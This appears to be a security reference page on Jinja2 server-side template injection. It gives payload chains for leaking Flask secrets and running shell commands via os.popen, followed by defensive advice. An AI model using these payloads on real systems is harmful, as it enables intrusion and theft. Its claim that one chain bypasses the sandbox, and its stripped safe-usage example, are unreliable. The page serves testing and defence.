Jinja2 SSTI Payload Chains
TL;DR: Jinja2 templates rendered with attacker-controlled source expose the full Python object graph;
{{ config }}leaks secrets and{{ ''.__class__.__mro__[1].__subclasses__() }}reachesPopen.
What it is
Server-side template injection in Jinja2 happens when a developer concatenates user input into a template string (render_template_string(f"Hello {name}")) instead of passing it as a variable. The Jinja sandbox blocks underscore-prefixed attributes by default, but globals like lipsum, cycler, range, and namespace carry references back to Python builtins.
Preconditions / where it applies
- Flask/Quart
render_template_string, Jinja2Environment().from_string(user) - Salt states, Ansible templates, Airflow macros with rendered user input
- Custom CMS where admins can edit templates without sandbox
- Bypass target:
SandboxedEnvironment, autoescape, or denylist filters
Technique
Start with detection, then leak, then pivot to RCE.
{# detection #}
{{ 7*7 }} {# -> 49 means evaluated #}
{{ 7*'7' }} {# -> '7777777' confirms Python (vs Twig/ERB) #}
{# leak config secrets (Flask) #}
{{ config }}
{{ config.items() }}
{{ config['SECRET_KEY'] }}
{# class chain in stock Jinja #}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{# pick subprocess.Popen by name, run a command #}
{{ ''.__class__.__mro__[1].__subclasses__()
|selectattr('__name__','equalto','Popen')|list }}
{# stable globals path that survives sandbox %}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{# statement form when {{ }} is filtered #}
{% set x = request.application.__globals__.__builtins__.__import__('os') %}
{% set y = x.popen('id').read() %}{{ y }}
{# underscore filtered? use |attr() #}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1) }}
The lipsum.__globals__['os'] chain is the most reliable on modern Flask because lipsum is auto-imported and not blocked by SandboxedEnvironment’s is_safe_attribute.
Detection and defence
- Never pass user input as the template source — pass it as a context variable:
render_template_string("Hello ", n=user) - Use
SandboxedEnvironmentand additionally removelipsum,cycler,namespace,rangefrom globals - Add CSP and treat any 500 from a template render as a security event
- Lint: flag
render_template_string/from_stringwhose first arg is not a string literal - Audit hook on
subprocess.Popenwith caller-frame check for Jinja modules
References
- Jinja2 sandbox documentation — what the sandbox does and does not block
- PortSwigger SSTI research — original taxonomy
See also: ssti, python-sandbox-escape, python-format-string, python-dangerous-sinks.